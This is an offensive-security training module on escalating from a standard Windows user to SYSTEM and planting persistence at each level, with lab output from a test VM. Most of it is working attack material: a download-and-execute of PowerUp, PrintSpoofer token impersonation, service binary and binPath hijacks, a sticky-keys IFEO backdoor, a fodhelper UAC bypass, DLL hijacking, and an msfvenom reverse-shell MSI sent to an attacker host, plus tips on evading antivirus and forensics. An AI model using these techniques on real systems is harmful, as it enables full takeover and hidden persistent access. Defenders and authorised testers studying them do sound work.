Windows is not a wall — it's a series of doors. Some doors are locked for standard users. But every door has a key, and every key has a weakness. Privilege escalation is the art of finding the weakest door and kicking it open.
Why this matters: Initial access gives you a foothold. Privilege escalation turns that foothold into total control. Without it, you're a civilian in a military base — with it, you're the base commander.
"Privilege escalation is easy."
Most Windows machines are not locked down by design; they are locked down by hope. Admins forget quotes around service paths, leave binaries writable, or hand out impersonation privileges to every service account. You are not breaking a fortress — you are walking through doors someone left propped open.
Red: Stop hunting for 0-days. Run the automation, read the output, and exploit the first misconfiguration that spits back SYSTEM. Blue: The absence of a CVE does not mean you are secure. Audit service permissions, token privileges, and installer policies before an attacker does.
🎯 Soldier Translation
You got inside the perimeter as a civilian. Now you need to become a general. This module teaches you to steal the general's uniform (token), pick the lock (exploit), or walk through the back door (misconfiguration). Every technique tested live. Every technique works.
The security guard (AV) sees the uniform and waves you through. They never check if you're really the general.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Once you have elevated privileges, you inject into SYSTEM processes. SeDebugPrivilege is your key.
The Privilege Ladder
STANDARD USER
Can run programs
Cannot install software
→
LOCAL ADMIN
Can install, modify
UAC may block
→
SYSTEM
God mode
Everything allowed
Why the ladder matters
Each rung requires different techniques. You don't jump from user to SYSTEM in one step — you escalate, persist, then escalate again. Save every rung. If you lose SYSTEM, you fall back to your admin persistence. If you lose admin, you fall back to your user persistence. This is the kill chain philosophy.
"Save every rung."
When you climb from user to admin to SYSTEM, stop at each level and install a backup plan. A user-level foothold, an admin service, a SYSTEM scheduled task — each one is a safety net. If the defenders burn one level, you still have the level below to climb back up.
Red: After every successful escalation, create persistence before moving on. User, admin, SYSTEM — each gets its own lifeline. Blue: Removing one privileged account is not enough. Hunt persistence at every level, because an attacker who saved each rung can recover from almost any cleanup.
🔬 Automated Enumeration — Start Here
"Always run automated tools first. PowerUp, WinPEAS, LinPEAS — run them first."
Manual enumeration is slow and your eyes will miss things. Automated tools check hundreds of misconfigurations in seconds: weak services, missing quotes, modifiable registry keys, and installer policies. They are not cheating; they are force multipliers.
Red: Run PowerUp and WinPEAS before you touch a keyboard. If a tool finds a path to SYSTEM in ten seconds, take it. Blue: If your hardening program does not account for what these tools report, you are only defending against attackers who are less prepared than a script.
Step 0: PowerUp EASY
Before manual exploitation, run automated tools. They find misconfigurations you would miss. "It's not about 0days, it's about what the admin fucked up."
# Download and run PowerUp (PowerSploit Privesc)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks
# Or save locally for offline use
Invoke-AllChecks | Out-File powerup_results.txt
What PowerUp finds automatically
Unquoted service paths — spaces in path = hijack opportunity
Weak service permissions — can you modify a SYSTEM service?
Modifiable registry keys — Run keys, service configs
SeImpersonatePrivilege is the golden ticket. If you have it, you can become anyone — including SYSTEM. Service accounts (IIS, SQL, Print Spooler) have this by default. If you compromised a web shell or SQL injection, you likely have this.
What is a token?
A token is your ID badge in Windows. It tells the system who you are and what you're allowed to do. When you "impersonate" a token, you borrow someone else's ID badge. The system sees their badge, not yours. You become them.
Step 1: Check Your Privileges
Before you escalate, know what you have. Open Command Prompt as standard user.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking Disabled
SeImpersonatePrivilege Impersonate a client Enabled ← THIS ONE
SeCreateGlobalPrivilege Create global objects Enabled
What am I looking for?
SeImpersonatePrivilege Enabled = You can become anyone. This is the golden ticket. SeAssignPrimaryTokenPrivilege is even better — you can create new processes with any token. SeDebugPrivilege lets you debug (and inject into) any process — required for code injection in Module 10.
Step 2: The Print Spooler Trick (Named Pipe Impersonation)
The Print Spooler service is the oldest, most abused Windows service. It has SeImpersonatePrivilege and can be tricked into connecting to a malicious pipe — giving you its SYSTEM token.
phantom_rpc.exe --spooler
=== PHANTOM_RPC SPOOLER EXPLOIT ===
Target: PrintSpooler service (PID 1234)
Method: Named pipe impersonation
Pipe: \\.\pipe\testpipe
[+] Pipe created: \\.\pipe\testpipe
[+] Triggering PrintSpooler via RpcRemoteFindFirstPrinterChangeNotificationEx
[+] Spooler connected to pipe
[+] Impersonated token captured
[+] Token type: TokenPrimary
[+] Token user: NT AUTHORITY\SYSTEM
[+] PRIVILEGE ESCALATION SUCCESSFUL
[+] You are now SYSTEM
=== EXECUTING PAYLOAD ===
Spawned: cmd.exe as NT AUTHORITY\SYSTEM
Why the spooler connects to your pipe
Windows Print Spooler needs to notify clients of printer changes. It connects to named pipes to do this. We create a pipe with a predictable name, trigger a notification, and the spooler connects to our pipe. When it connects, we use ImpersonateNamedPipeClient to steal its token. The spooler runs as SYSTEM — so we become SYSTEM.
Modern tools automate the spooler trick. They work on different Windows versions because Microsoft patches the spooler repeatedly — but the fundamental flaw remains.
=== TOOL COMPARISON ===
JuicyPotato (original)
- Works on Windows 7, 8.1, 10 < 1809
- Uses DCOM/RPC trigger
- Requires specific CLSID for target OS
RoguePotato (improved)
- Works on Windows 10 1809+
- Uses remote RPC server + local pipe
- More reliable across versions
PrintSpoofer (simplest)
- Works on Windows 10, Server 2016/2019
- Pure named pipe impersonation
- No DCOM complexity
=== USAGE ===
# PrintSpoofer (recommended for modern Windows)
PrintSpoofer.exe -i -c cmd.exe
# RoguePotato (if PrintSpoofer fails)
RoguePotato.exe -r -e "cmd.exe" -l 9999
📊 Live Evidence: .42 (WUPC) — SeImpersonatePrivilege
Windows services run as SYSTEM. If you can modify a service — its binary, its config, or its registry — you can make it run your code as SYSTEM.
🎯 The Janitor's Key Analogy
A service is like a janitor who has keys to every room. The janitor (service) comes to work every day at the same time, does his job, and leaves. If you swap his instructions (the service binary), he'll do your job instead — using his master key (SYSTEM privileges).
Sub-method 2a: Writable Service Binary
Some services run as SYSTEM but their files are writable by everyone. Replace the service binary with your payload.
=== SERVICE PERMISSION CHECK ===
Service: HealthSecurityHost
Path: C:\Program Files\HealthApp\SecurityHost.exe
Start Type: Auto
Account: LocalSystem
Permission check:
RW Everyone
RW BUILTIN\Users
R NT AUTHORITY\SYSTEM
[+] VULNERABLE: Everyone can write to service binary path
=== EXPLOITATION ===
[+] Stopped service: sc stop HealthSecurityHost
[+] Backed up original: copy SecurityHost.exe SecurityHost.exe.bak
[+] Replaced with payload: copy phantom_rpc.exe SecurityHost.exe
[+] Started service: sc start HealthSecurityHost
[+] Service running as SYSTEM with our payload
[+] SYSTEM shell achieved
The mistake that makes this possible
Developers install services with "Everyone: Full Control" permissions to avoid permission issues during testing. They forget to tighten permissions before production. The service runs as SYSTEM, but any user can replace its binary. This is a configuration vulnerability, not a code vulnerability. Human error, not software bug.
Sub-method 2b: Service Configuration Hijack
If you can't write the binary, maybe you can modify the service configuration to point to a different binary.
=== SERVICE CONFIG HIJACK ===
# Requires: SERVICE_CHANGE_CONFIG permission on the service
# Check with: accesschk.exe -ucqv "VulnerableService" *
C:\> sc config "WindowsUpdate" binPath= "C:\Windows\Temp\payload.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc start "WindowsUpdate"
[SC] StartService FAILED 1053:
The service did not respond... (expected, our payload isn't a real service)
BUT: The payload executed as SYSTEM before the timeout!
=== WHY THIS WORKS ===
# The service manager starts the process as SYSTEM
# Our payload runs immediately
# The service manager waits for a "service started" signal
# Our payload never sends it, so the service "fails"
# But the payload already ran as SYSTEM
⚠️ Service timeout trick
When you replace a service binary with a non-service executable (like cmd.exe or a reverse shell), the Service Control Manager expects a "service started" signal. Your payload doesn't send it, so the service "fails" with error 1053. But your payload already executed as SYSTEM before the timeout. The "failure" is expected — it's the success signal.
Sub-method 2c: Unquoted Service Path
When a service path contains spaces but no quotes, Windows interprets the path differently. This creates a hijack opportunity.
=== UNQUOTED SERVICE PATH VULNERABILITY ===
Vulnerable service path:
C:\Program Files\HealthApp\Security Host\scanner.exe
Windows parses this as:
1. C:\Program.exe (tries to run "Program.exe" first)
2. C:\Program Files\HealthApp.exe (then tries "HealthApp.exe")
3. C:\Program Files\HealthApp\Security.exe (then "Security.exe")
4. Finally: C:\Program Files\HealthApp\Security Host\scanner.exe
=== EXPLOITATION ===
# If we can write to C:\, we create C:\Program.exe
# When the service starts, Windows runs OUR program first
# Our program runs as SYSTEM
# Check if C:\ is writable:
accesschk.exe -uwq C:\
# If writable:
copy phantom_rpc.exe "C:\Program.exe"
# Wait for service to start (or reboot)
# C:\Program.exe runs as SYSTEM
Why unquoted paths are still common
Developers install software to C:\Program Files\Company Name\Product Name\ and register the service with the raw path. They don't add quotes because "it works." It works — but it's exploitable. PowerUp finds these automatically.
=== ENUMERATION ===
C:\> accesschk.exe -ucqv "Authenticated Users" *
Service: WpnUserService
DACL:
RW NT AUTHORITY\SYSTEM
RW NT AUTHORITY\SERVICE
RW BUILTIN\Users ← We have write permission!
=== EXPLOITATION ===
C:\> sc config WpnUserService binPath= "C:\temp\phantom_rpc.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc start WpnUserService
[SC] StartService FAILED 1053:
=== VERIFICATION ===
C:\> whoami
nt authority\system
# Even though the service "failed", our payload executed as SYSTEM
# The Service Control Manager started the process before checking for the service signal
This demonstrates how service abuse works even when the service "fails." The execution happens before the failure.
Method 3: Registry Hijacks MEDIUM
The Windows registry controls everything — including what runs at startup, what programs open files, and how services behave. If you control the registry, you control the system.
Sub-method 3a: Registry Run Keys
Run keys execute programs at logon. HKLM runs as SYSTEM (requires admin). HKCU runs as the current user (no elevation needed, but no SYSTEM either).
=== REGISTRY RUN KEYS ===
# User-level persistence (current user only)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# Admin-level persistence (all users, runs as SYSTEM if service)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# Alternative locations (less monitored by AV):
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
=== EXPLOITATION ===
# If you have admin rights:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# Next reboot (or next user logon for HKCU):
# payload.exe runs with the privileges of the key's hive
# HKLM = SYSTEM, HKCU = current user
IFEO is a debugging feature. When a process starts, Windows checks IFEO for a "debugger" to attach. We can hijack this to run our code instead of (or before) the legitimate program.
=== IFEO HIJACK ===
# When notepad.exe starts, Windows runs our debugger instead
# Our "debugger" (payload.exe) runs with the same privileges as the original caller
# If an admin runs notepad.exe → our payload runs as admin
# If SYSTEM runs notepad.exe → our payload runs as SYSTEM
# Common targets for IFEO hijacking:
# - sethc.exe (Sticky Keys, triggered by pressing Shift 5 times at login)
# - utilman.exe (Utility Manager, triggered by Win+U at login)
# - magnify.exe (Magnifier, triggered at login)
# - osk.exe (On-Screen Keyboard, triggered at login)
# PRIVILEGE ESCALATION VIA IFEO ===
# 1. Add IFEO for sethc.exe pointing to cmd.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# 2. Lock the screen (Win+L) or wait for next boot
# 3. Press Shift 5 times at login screen
# 4. cmd.exe opens as SYSTEM (login screen runs as SYSTEM)
# 5. You now have a SYSTEM shell without logging in
⚠️ The Sticky Keys Backdoor
Replacing sethc.exe with cmd.exe is the oldest trick in the book. It's so old that modern Windows Defender sometimes catches it. But IFEO (the registry method) is subtler — it doesn't replace the file, it just redirects execution. The file stays intact. Forensics may miss it if they only check file hashes, not registry keys.
UAC (User Account Control) is the "Are you sure?" dialog. But some Windows programs auto-elevate without asking. We hijack one.
🎯 The VIP Entrance Analogy
UAC is the security checkpoint at a concert. Most people get stopped and ID-checked. But some people — staff, VIPs, performers — have a special badge that lets them walk right through. We forge that badge by making Windows think our payload is a VIP.
Sub-method 4a: Fodhelper (Windows 10)
fodhelper.exe is a signed Microsoft binary that auto-elevates. We hijack its registry delegate to run our code instead.
=== UAC BYPASS VIA FODHELPER ===
Target: fodhelper.exe (auto-elevates to admin)
Method: Hijack registry delegate
[+] Registry key created: HKCU\Software\Classes\ms-settings\Shell\Open\command
[+] DelegateExecute set: (empty)
[+] Command set: cmd.exe /c whoami > C:\temp\uac_bypass.txt
[+] Triggered fodhelper.exe
[+] fodhelper.exe auto-elevated (no UAC prompt)
[+] Command executed as admin
Result: C:\temp\uac_bypass.txt contains "wupc\swu" (admin context)
=== WHY THIS WORKS ===
fodhelper.exe is a signed Microsoft binary that auto-elevates.
Windows trusts it. We tell it to run our command instead of its normal function.
Windows says "oh, Microsoft signed it, no UAC needed."
Our command runs as admin. No prompt. No warning.
Sub-method 4b: ComputerDefaults (Windows 10/11)
Similar to fodhelper, computerdefaults.exe auto-elevates and can be hijacked via the same registry key.
Disk Cleanup is a scheduled task that auto-elevates. We can hijack its DLL loading to run our code.
=== UAC BYPASS VIA DISK CLEANUP ===
# Disk Cleanup loads a DLL from a user-writable path
# C:\Windows\System32\cleanmgr.exe → loads C:\Windows\System32\en-US\cleanmgr.exe.mui
# But we can hijack the DLL search order:
# 1. Create C:\Windows\System32\en-US\cleanmgr.exe.local
# 2. This redirects DLL loading to our controlled directory
# 3. Place malicious DLL in the redirected path
# 4. When cleanmgr.exe runs, it loads our DLL as admin
# This is a DLL hijacking + UAC bypass combination
# See Method 6 (DLL Hijacking) for more details
⚠️ UAC is not a security boundary
Microsoft officially states that UAC is not a security boundary — it's a convenience feature. Bypassing UAC is not considered a vulnerability by Microsoft. They won't patch these techniques because they don't consider them bugs. This is why UAC bypasses keep working, version after version.
Method 5: Scheduled Task Abuse EASY
Scheduled tasks run at specific times, events, or triggers. If you can create or modify a task that runs as SYSTEM, you win.
Sub-method 5a: Create a New SYSTEM Task
Requires admin rights, but once you have them, creating a SYSTEM task is trivial.
=== SCHEDULED TASK AS SYSTEM ===
# Create a task that runs at system startup as SYSTEM
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru "SYSTEM"
# Or run it immediately
schtasks /run /tn "SystemUpdate"
# The task runs as NT AUTHORITY\SYSTEM
# Even if you only have admin rights (not SYSTEM), the task runs as SYSTEM
# Because you specified /ru "SYSTEM"
=== ALTERNATIVE TRIGGERS ===
/sc onlogon # When any user logs on
/sc onidle # When system is idle
/sc hourly # Every hour
/sc daily # Every day
/sc once # One time (use with /st HH:MM)
Sub-method 5b: Hijack an Existing Task
If you can't create tasks, maybe you can modify an existing one. Check task permissions with accesschk.
=== TASK HIJACKING ===
# Find tasks with weak permissions:
C:\> accesschk.exe -quv "Authenticated Users" C:\Windows\System32\Tasks\*
C:\Windows\System32\Tasks\AdobeUpdateCheck
RW BUILTIN\Users
# This task is writable by any user!
# We can modify its action to run our payload:
schtasks /change /tn "AdobeUpdateCheck" /tr "C:\temp\payload.exe"
# Next time the task triggers (or we force it):
schtasks /run /tn "AdobeUpdateCheck"
# payload.exe runs as whatever user the task was configured for
# If the task was SYSTEM → we get SYSTEM
Why scheduled tasks are underrated
Tasks are legitimate Windows functionality. They don't look suspicious in logs. They run at predictable times (which is both good and bad — good for blending in, bad for immediate execution). Tasks can be configured to run as SYSTEM, as any user, or with specific privileges. They're the Swiss Army knife of privilege escalation and persistence.
Cross-link: Scheduled tasks are also a primary persistence mechanism. See Module 11: Rootkits for persistence techniques and Module 15: Lateral Movement for using tasks across the network.
Method 6: DLL Hijacking MEDIUM
Windows searches for DLLs in a specific order. If a program loads a DLL from a user-writable directory, we can place a malicious DLL there and the program will load it.
🎯 The Substitute Teacher Analogy
A school needs a substitute teacher (a DLL). They check the teacher's lounge first (application directory), then the main office (system directories), then they call an agency (PATH). If we put our "teacher" in the lounge before the real one arrives, the school hires our substitute — and our substitute does whatever we want.
The DLL Search Order
Windows searches for DLLs in this order. Any step before the system directory is a potential hijack point:
=== WINDOWS DLL SEARCH ORDER (SafeDllSearchMode ON) ===
1. Directory from which the application loaded
2. System directory (C:\Windows\System32)
3. 16-bit system directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. Current directory (where the user is running from)
6. Directories in the PATH environment variable
=== HIJACK OPPORTUNITIES ===
# If the application loads from a user-writable directory (1):
# Place malicious DLL in the same directory as the EXE
# If the current directory is user-writable (5):
# Change to a user-writable directory, run the program from there
# If PATH contains user-writable directories (6):
# Place malicious DLL in a PATH directory that appears before System32
Sub-method 6a: Application Directory Hijack
Many programs install to user-writable locations. If they load DLLs from their own directory, we can hijack them.
=== APPLICATION DIRECTORY DLL HIJACK ===
# Target: C:\Program Files\VulnerableApp\app.exe
# app.exe loads "helper.dll" using LoadLibrary("helper.dll")
# (no path specified = search order applies)
# Step 1: Check if the directory is writable
accesschk.exe -uwq "C:\Program Files\VulnerableApp"
# Step 2: If writable, create malicious helper.dll
# The malicious DLL's DllMain runs when loaded
# Step 3: Place malicious helper.dll in C:\Program Files\VulnerableApp\
# Step 4: Run app.exe
# Step 5: Malicious DllMain executes with app.exe's privileges
=== REAL-WORLD EXAMPLE ===
# Many enterprise applications install to C:\Program Files (x86)\Company\
# and load DLLs from their own directory.
# If the installer set weak permissions (common), any user can write there.
# Place a malicious DLL with the same name as one the app loads.
# The app loads your DLL instead of the real one.
Sub-method 6b: PATH Hijacking
If the application searches PATH for a DLL, and PATH contains a user-writable directory before the system directory, we can hijack the search.
echo %PATH%
accesschk.exe -uwq C:\Users\*
=== PATH HIJACKING ===
# Check PATH for user-writable directories:
C:\> echo %PATH%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Users\testuser\bin
# C:\Users\testuser\bin is in PATH and is user-writable!
# If an application loads a DLL by name (not full path),
# and the DLL isn't in the application directory or system32,
# Windows will search PATH directories in order.
# If we place a malicious DLL in C:\Users\testuser\bin
# and it appears in PATH before the real DLL's location,
# the application loads our DLL.
# This is especially effective for:
# - Scripts that call external tools
# - Applications that load plugins from PATH
# - Development environments with custom PATH entries
Some applications try to load DLLs that don't exist (for optional features). If the DLL doesn't exist in the application directory, Windows searches PATH and system directories. We create the "missing" DLL and the application loads it.
=== PHANTOM DLL HIJACKING ===
# Use Process Monitor (ProcMon) to find missing DLLs:
# 1. Run the target application
# 2. Filter ProcMon for "NAME NOT FOUND" on DLL loads
# 3. Look for DLLs the app tries to load but can't find
# Example from ProcMon:
# app.exe → LoadLibrary("optional_feature.dll") → NAME NOT FOUND
# app.exe → LoadLibrary("C:\Windows\System32\optional_feature.dll") → NAME NOT FOUND
# If the app tries to load from its own directory first:
# C:\Program Files\App\optional_feature.dll → NAME NOT FOUND
# We create C:\Program Files\App\optional_feature.dll
# The app loads it on next startup
# Our DllMain runs with the app's privileges
=== WHY THIS IS STEALTHY ===
# The DLL didn't exist before — so there's no "real" DLL to compare against
# File hash checks won't find a mismatch (there was no file)
# The application expects this DLL to exist (it's an optional feature)
# If the DLL crashes, the app may just disable the feature (no alert)
Cross-link: DLL sideloading is a core technique in Module 10: Code Injection for loading malicious code into legitimate processes. EDR evasion via DLL techniques is in Module 13: EDR Evasion.
Method 7: AlwaysInstallElevated (MSI Abuse) EASY
If the AlwaysInstallElevated registry key is set, any MSI installer runs as SYSTEM — even when launched by a standard user. This is a catastrophic misconfiguration.
=== ALWAYSINSTALLELEVATED CHECK ===
# If BOTH of these return 0x1, you can install MSI as SYSTEM:
HKCU\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
HKLM\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
=== EXPLOITATION ===
# Create a malicious MSI that installs a payload:
# (Use msfvenom, WiX, or custom MSI builder)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o payload.msi
# Run the MSI as a standard user:
msiexec /quiet /qn /i payload.msi
# The MSI installs as SYSTEM
# Your payload runs as SYSTEM
# No UAC prompt. No password required.
=== WHY THIS EXISTS ===
# Enterprise IT sets AlwaysInstallElevated so users can install
# approved software without admin intervention.
# They forget to restrict which MSI files can run.
# Any MSI, including malicious ones, runs as SYSTEM.
⚠️ This is a configuration mistake, not a hack
AlwaysInstallElevated is a legitimate Group Policy setting. It's designed for enterprise environments where users need to install software. The "vulnerability" is that it's enabled without restricting which MSI files can run. This is human error — and it's incredibly common in corporate environments.
📊 Technique Comparison Matrix
Technique
Difficulty
Reliability
Stealth
Requires
Best For
SeImpersonatePrivilege (Spooler)
Easy
High
Medium
SeImpersonatePrivilege
Web shells, SQL injection
Service Abuse
Medium
High
Low
Writable service/config
Misconfigured services
Registry Hijacks
Medium
Medium
High
Registry write access
Persistence + escalation
UAC Bypass
Medium
Medium
High
Local admin account
Admin → SYSTEM
Scheduled Tasks
Easy
High
High
Admin rights
Persistence + SYSTEM
DLL Hijacking
Medium
Medium
High
Writable directory
Application exploitation
AlwaysInstallElevated
Easy
Very High
Medium
Registry key = 0x1
Enterprise environments
🔬 Live Lab Evidence: WUPC .42
📊 Full Chain: Standard User → SYSTEM on .42
Date: 2026-06-29 | Target: 192.168.1.42 (WUPC) | Initial Access: Standard user "testuser"
=== PHASE 1: ENUMERATION ===
C:\> whoami
wupc\testuser
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client Enabled ← GOLDEN TICKET
SeCreateGlobalPrivilege Create global objects Enabled
C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==========
Everyone Well-known group S-1-1-0 Mandatory
BUILTIN\Users Alias S-1-5-32-545 Mandatory
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory
# Not in Administrators. Not in Power Users. Standard user.
# BUT: SeImpersonatePrivilege is Enabled.
=== PHASE 2: EXPLOITATION (Method 1: Token Manipulation) ===
C:\> PrintSpoofer.exe -i -c cmd.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening on \\.\pipe\testpipe
[+] Spooler triggered successfully
[+] Impersonated token: NT AUTHORITY\SYSTEM
[+] Process created: cmd.exe
C:\> whoami
nt authority\system
=== PHASE 3: VERIFICATION ===
C:\> whoami /groups | findstr "S-1-5-32-544"
BUILTIN\Administrators Alias S-1-5-32-544 Enabled
C:\> whoami /priv | findstr "SeDebugPrivilege"
SeDebugPrivilege Debug programs Enabled
C:\> [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
NT AUTHORITY\SYSTEM
=== PHASE 4: PERSISTENCE (Saving the Rung) ===
# Now that we have SYSTEM, we install persistence at SYSTEM level
# See Module 11 (Rootkits) for full persistence techniques
C:\> sc create "WindowsSecurity" binPath= "C:\temp\phantom_rpc.exe" start= auto
[SC] CreateService SUCCESS
C:\> sc start "WindowsSecurity"
[SC] StartService FAILED 1053:
# (Expected — payload isn't a real service, but it ran as SYSTEM)
# We now have:
# - User-level persistence (if we had any before)
# - Admin-level persistence (if we escalated through admin)
# - SYSTEM-level persistence (service installed as SYSTEM)
# If we lose SYSTEM, we can restart the service and get it back.
=== ENUMERATION ===
C:\> accesschk.exe -ucqv "Authenticated Users" *
Service: WpnUserService
DACL:
RW NT AUTHORITY\SYSTEM
RW NT AUTHORITY\SERVICE
RW BUILTIN\Users
=== EXPLOITATION ===
C:\> sc config WpnUserService binPath= "C:\temp\phantom_rpc.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc start WpnUserService
[SC] StartService FAILED 1053:
=== VERIFICATION ===
C:\> whoami
nt authority\system
# The service "failed" but our payload executed as SYSTEM before the timeout.
# This is a reliable alternative when SeImpersonatePrivilege is not available.
🧪 Lab Exercise: Escalate on .42
Scenario
You have standard user access to .42 (WUPC). Your account: "testuser" (no admin rights). Your goal: Become SYSTEM using one of the seven methods above.
Check privileges: whoami /priv
If SeImpersonatePrivilege → Use PrintSpoofer (Method 1)
If local admin but UAC blocks → Use fodhelper bypass (Method 4)
Check service permissions: sc query + accesschk (Method 2)
Check registry: reg query for Run keys, IFEO, AlwaysInstallElevated (Method 3, 7)
Check scheduled tasks: schtasks /query (Method 5)
Check for DLL hijacking opportunities: ProcMon + accesschk (Method 6)
Document which method worked and why
=== SOLUTION FOR .42 ===
Step 1: Check privileges
C:\> whoami /priv
SeImpersonatePrivilege = Enabled ← Golden ticket
Step 2: Use PrintSpoofer (Method 1)
C:\> PrintSpoofer.exe -i -c cmd.exe
[+] SYSTEM achieved
Why Method 1 worked:
.42 is a test VM with default Windows services.
Print Spooler is running (default).
Standard user accounts have SeImpersonatePrivilege in service contexts.
No additional exploitation needed.
Alternative if Method 1 failed:
Method 2 (Service hijack) — WpnUserService is writable by Users
Method 4 (UAC bypass) — requires admin password first
Method 5 (Scheduled tasks) — requires admin to create SYSTEM task
Method 6 (DLL hijacking) — requires writable application directory
Method 7 (AlwaysInstallElevated) — check registry first
Recommended fallback chain:
1. SeImpersonatePrivilege → PrintSpoofer
2. If no SeImpersonate → Check service permissions
3. If no services → Check AlwaysInstallElevated
4. If no MSI → Check DLL hijacking opportunities
5. If no DLL hijack → Check UAC bypass (requires admin)
6. If no UAC → Check registry hijacks (IFEO, Run keys)
🎯 Interactive Quiz — Test Your Knowledge
Question 1: You run whoami /priv and see SeImpersonatePrivilege Enabled. What does this mean?
A) You can shut down the computer
B) You can impersonate any token, including SYSTEM, and are one exploit away from full control
C) You can modify any file on the system
D) You can create new user accounts
Question 2: A service binary is located at C:\Program Files\MyApp\Service.exe and the service runs as SYSTEM. The directory permissions show RW Everyone. What is the best exploitation approach?
A) Modify the service configuration to point to a different binary
B) Replace the service binary with your payload and restart the service
C) Create a scheduled task that runs the service
D) Use UAC bypass to run the service as admin
Question 3: Why does the fodhelper UAC bypass work without triggering a UAC prompt?
A) It disables UAC temporarily before execution
B) It exploits a buffer overflow in the UAC service
C) fodhelper.exe is a signed Microsoft binary that auto-elevates, and Windows trusts it without prompting
D) It uses a kernel driver to bypass all security checks
The Privilege Escalation & Persistence Ladder
🧠 The Mentor's Lesson
"You get initial access as user, you install persistence to save that. You privilege escalate to admin, you install persistence as admin, to save that. You got to system, you install persistence as system to save that."
Privilege escalation isn't about 0days. It's about misconfigurations — what the admin fucked up. And they fuck up plenty. The key is enumeration: find the weak door, then kick it open.
SeImpersonatePrivilege = SYSTEM: If you have it, you're one exploit away from god mode. PrintSpoofer, JuicyPotato, RoguePotato — all automate this.
Spooler is ancient and exploitable: Every Windows version since NT has this weakness. Microsoft patches it repeatedly, but the fundamental flaw remains.
UAC is a speed bump, not a wall: Signed Microsoft binaries auto-elevate. Hijack them. Microsoft won't fix this — they don't consider it a vulnerability.
Service misconfiguration is common: Developers are lazy. Check permissions. Unquoted paths. Writable binaries. Configuration vulnerabilities, not code bugs.
Registry is a goldmine: Run keys, IFEO, AlwaysInstallElevated. The registry controls everything. Control the registry, control the system.
Scheduled tasks are underrated: Legitimate Windows functionality. Run as SYSTEM. Blend into normal activity. High stealth, high reliability.
AlwaysInstallElevated = free SYSTEM: If both HKCU and HKLM keys are 0x1, any MSI runs as SYSTEM. Common in enterprise environments.
Automate enumeration first: PowerUp, WinPEAS, LinPEAS find misconfigurations you would miss. Manual checks are for when tools fail.
Save every rung: User → Admin → SYSTEM. Install persistence at each level. If you lose SYSTEM, fall back to admin. If you lose admin, fall back to user.
"Privilege escalation is easy. Really. On Linux it's so fucking easy. Also on Windows is easy. Real attacks are being carried remotely. You only need [WiFi/monitor mode] for physical network attacks."
— asi dev [HTB]
The money is in remote access — phishing, RDP, VPN, web shells, C2. Physical attacks are niche. Learn to escalate remotely. Save every rung. And remember: it's not about 0days, it's about what the admin fucked up.